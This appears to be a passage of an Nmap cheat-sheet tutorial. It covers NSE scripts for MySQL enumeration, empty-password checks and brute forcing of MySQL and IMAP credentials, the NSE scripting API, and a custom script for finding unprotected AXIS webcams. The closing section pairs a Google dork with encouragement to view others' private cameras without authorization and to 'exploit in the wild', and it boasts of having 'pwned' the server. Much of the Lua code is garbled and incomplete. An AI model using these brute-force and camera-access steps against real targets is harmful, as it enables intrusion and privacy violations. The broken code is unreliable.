Nmap Cheat Sheet 5 The Final View of A Ninja Pentester
Nmap Cheat Sheet 5 The Final View of A Ninja Pentester
The above lists the database name in MySQL setup and only works if username and password
are null.
Arguments like username and password can be set to find databases for further post
exploitation.
nmap -sV –script=mysql-databases –script-args mysqluser=root,mysqlpass=toor
192.168.195.130
User Auditing:
The password to use for authentication. If unset it attempts to use credentials found by mysql-
brute or mysql-empty-password.
nmap -sV –script=mysql-users 192.168.195.130
Arguments like username and password can be set to find databases for further post
exploitation.
MySQL empty password for root access:
It checks for MySQL servers with an empty password for root or anonymous.
sudo nmap –script mysql-empty-password 192.168.195.130
See how beautifully we got the username and password. Here an attacker can do further
exploitation.
Like above we can do a database audit or pentesting for different database like mysql, sql
server, oracle etc. A list of scripts is available on NSE documentation on the Nmap site.
Listing mysql server variables:
The developer or DBA people by default forgot to set the correct environment setting for the
database. The following can be used to retrieve the environment setting.
Ethical Hacking Training – Resources (InfoSec)
nmap -p3306 –script mysql-variables localhost
Brute forcing:
We can also use the Nmap script for bruteforcing mysql user and password in case of default
credentials.
nmap –script=mysql-brute localhost.
Mysql info:
As a pentester we can get mysql info for further exploitation.
nmap –script=mysql-info localhost
Mysql Enumeration:
After we get root on a remote computer, we can gather valid username and additional
information.
nmap –script=mysql-enum localhost
The above results are the answer for one of the biggest companies on the Internet. See how
they are vulnerable.
Brute forcing IMAP passwords:
E-mail accounts store very sensitive information and penetration testers auditing a mail server
must detect weak passwords that could compromise e-mail accounts and the information
accessible through them.
nmap -p143 –script imap-brute target
The above gives different server names that have POP3 implementation, which can help an
attacker for further exploitation.
Retrieving the capabilities of a POP3 mail server
POP3 mail servers may support different capabilities defined in RFC 2449. By using a POP3
command we can list them, and thanks to Nmap, we can automate this task and include this
service information in our scan results.
nmap -p110 –script pop3-capabilities target
prerule()
hostrule(host)
portrule(host, port)
postrule()
prerule scripts run once, before any hosts are scanned, during the script pre-scanning phase.
hostrule and portrule scripts run after each batch of hosts is scanned. postrule scripts run once
after all hosts have been scanned, in the script post-scanning phase. A script may run in more
than one phase if it has several rules.
Action
The action is the heart of an NSE script. It contains all of the instructions to be executed when
the script’s prerule, portrule, hostrule or postrule triggers. It is a Lua function which accepts
the same arguments as the rule. The return value of the action value may be a table of name–
value pairs, a string, or , which covers Nmap API http://nmap.org/book/nse-api.html#nse-
structured-output.
Environment Variables
Each script has its own set of environment variables:
SCRIPT_PATH
Describes The script path.
SCRIPT_NAME
Describes The script name. This variable can be used in debug output.
SCRIPT_TYPE
Since a script can have multiple rule functions, this environment variable will show which rule
has activated the script. This would be useful if the script wants to share some code between
different Script Scan phases. It will take one of these four string values: “prerule”,“hostrule”,
“portrule” or “postrule”. This variable is only available during and after the evaluation of the
rule functions.
Listing All Libraries:
Lua helps a lot during development. But NSE himself have inbuilt libraries for NSE
development. They have their own directory nselib. Some of libraries are listed below.
Developers can use these fields/libraries to develop their custom attack scripts. The below are
the few libraries.
This library was written by Patrik Karlsson <patrik@cqure.net> to facilitate communication
with the Apple AFP Service. It is not feature complete and still missing several functions.
A basic AJP 1.3 implementation based on documentation available from Apache
mod_proxy_ajp; http://httpd.apache.org/docs/2.2/mod/mod_proxy_ajp.html
The AMQP library provides some basic functionality for retrieving information about an AMQP
server’s properties.
ASN.1 functions.
base32
Base32 encoding and decoding. Follows RFC 4648.
base64
Base64 encoding and decoding. Follows RFC 4648.
Pack and unpack binary data.
Bitwise operations on integers.
bitcoin
This library implements a minimal subset of the BitCoin protocol. It currently supports the
version handshake and processing Addr responses.
bittorrent
Bittorrent and DHT protocol library which enables users to read information from a torrent
file, decode bencoded (bittorrent encoded) buffers, find peers associated with a certain
torrent and retrieve nodes discovered during the search for peers.
An implementation of the Canon BJNP protocol used to discover and query Canon network
printers and scanner devices.
brute
The brute library is an attempt to create a common framework for performing password
guessing against remote services.
cassandra
Library methods for handling Cassandra Thrift communication as a client.
citrixxml
This module was written by Patrik Karlsson and facilitates communication with the Citrix XML
Service. It is not feature complete and is missing several functions and parameters.
Common communication functions for network discovery tasks like banner grabbing and data
exchange.
creds
The credential class stores found credentials in the Nmap registry.
A minimal CVS (Concurrent Versions System) pserver protocol implementation which currently
only supports authentication.
datafiles
Read and parse some of Nmap’s data files: nmap-protocols, nmap-rpc, nmap-services, and
nmap-mac-prefixes.
Implement a Dynamic Host Configuration Protocol (DHCP) client.
For more libraries we can follow the below links:
http://nmap.org/book/nse-library.html
http://nmap.org/nsedoc/
Nmap API
API for Nmap is a great thing for security researchers and pentesters, where a security
developer can define his own custom setting during scan and exploitation. Nmap has learned
about the target hosts. This data is passed as arguments to the NSE script’s action method.
The arguments, host and port are Lua tables, which contain information on the target against
which the script is executed. If a script matched a hostrule, it gets only the host table, and if it
matches a portrule it gets both host and port.
See the follow rules which should be maintained in the API.
This table is passed as a parameter to the rule and action functions. It contains OS details.
host.os
it describes an array of OS match tables, and shows in the follow manner. See below:
host.os = {
{
name = <string>,----Linux 2.6/3.2
classes = {
{
vendor = <string>,------Linux
osfamily = <string>,-------Linux
osgen = <string>,------2.6.x
type = <string>,---------general purpose
cpe = {---------------------"cpe:/o:linux:linux_kernel:3"
"cpe:/<...>",
[More CPE]
}
},
[More classes]
},
},
[More OS matches]
}
Similarl to host.os are different sub component available for Nmap API like host.ip, host.name,
host.region etc. For full components we can follow the link here: http://nmap.org/book/nse-
api.html.
Network API Connect:
To allow for efficient and parallelizable network I/O, NSE provides an interface to Nsock, the
Nmap socket library. The smart callback mechanism Nsock uses is fully transparent to NSE
scripts. The main benefit of NSE’s sockets is that they never block on I/O operations, allowing
many scripts to be run in parallel.
Connect API:
This is a part of network API which is very classical during a TCP/UDP/HTTP/HTTPS connection,
which is handled by an irrespective NMAP library. Below is the demonstration of connect API
and how it is implemented:
require(“nmap”)
local socket = nmap.new_socket()
socket:set_timeout(1000)
try = nmap.new_try(function() socket:close() end)
try(socket:connect(host.ip, port.number))
try(socket:send(“login”))
response = try(socket:receive())
socket:close()
Exception Handling:
Nmap LUA language doesn’t have any exception handling mechanism, so API provides great
support for exception handling.
local result, socket, try, catch
result = “”
socket = nmap.new_socket()
catch = function()
socket:close()
try = nmap.new_try(catch)
try(socket:connect(host.ip, port.number))
result = try(socket:receive_lines(1))
try(socket:send(result))
OUR FIRST NSE SCRIPT:
So like you I am feeling bored with a lot of theory, so let’s have some practical sessions. Here I
will demonstrate a basic NSE script.
Please read all basic prerequisites for .nse file development (http://nmap.org/book/nse-
tutorial.html).
I will automate all scanning stuff and exploiting through a .nse file, you know the old days of
hacking like going through someone’s camera that may be private or public. The most
popular one is hijacking an AXIS camera. I am demonstrating the technique below.
Use the dork: inurl:axis-cgi/jpg
Open the URL having axis-cgi/jpg/image.cgi and you can see someone’s private or public
camera which is unauthorized. See the example below:
So let’s exploit in the wild by Nmap NSE development. We know that Axis has vulnerabilities
which can be exploitable. So let’s start our game:
1. Create axis.nse file and write the following code which can be used for automation.
description = [[Attempts to detect webcams AXIS vulnerable to unauthenticated access
to the video stream by queryingthe URI ” /axis-cgi/jpg/image.cgi “.
2. We load the library that is needed for our development.
local http = require “http”
local shortport = require “shortport”
local stdnse = require “stdnse
3. We define our execution rule as below, which is for our webserver that is needed by
Nmap.
portrule = shortport.http
4. We determine the status whether the server is vulnerable or not by sending status code
200 or 404.
action = function(host, port)
local uri = ” /axis-cgi/jpg/image.cgi”
local _, status_404, resp_404 = http.identify_404(host,port)
if status_404 == 200 then
stdnse.print_debug(1, “%s: Web server returns ambiguous response. Axis webcams return
standard 404 status responses. Exiting.”, SCRIPT_NAME)
return
stdnse.print_debug(1, “%s: HTTP HEAD %s”, SCRIPT_NAME,uri)
local resp = http.head(host, port, uri)
if resp.status and resp.status == 200 then
return string.format(“Axis video feed is unprotected:http://%s/axis-cgi/jpg/image.cgi “,
host.ip)
See the NSE script which contains the exploit for the vulnerable AXIS web camera.
See the screenshot below. We pwned the webserver.
Pwned……………..
Please ask questions if you have them. Until next time, Good Bye::
I will develop more scripts in the future. You can get the above scripts by the below link:
https://github.com/bikashdash/Axis_Vuln_Webcam
References
https://secwiki.org/w/Nmap/External_Script_Library
http://nmap.org/book/nse-tutorial.html
• Prev: Nmap Cheat Sheet: Part 4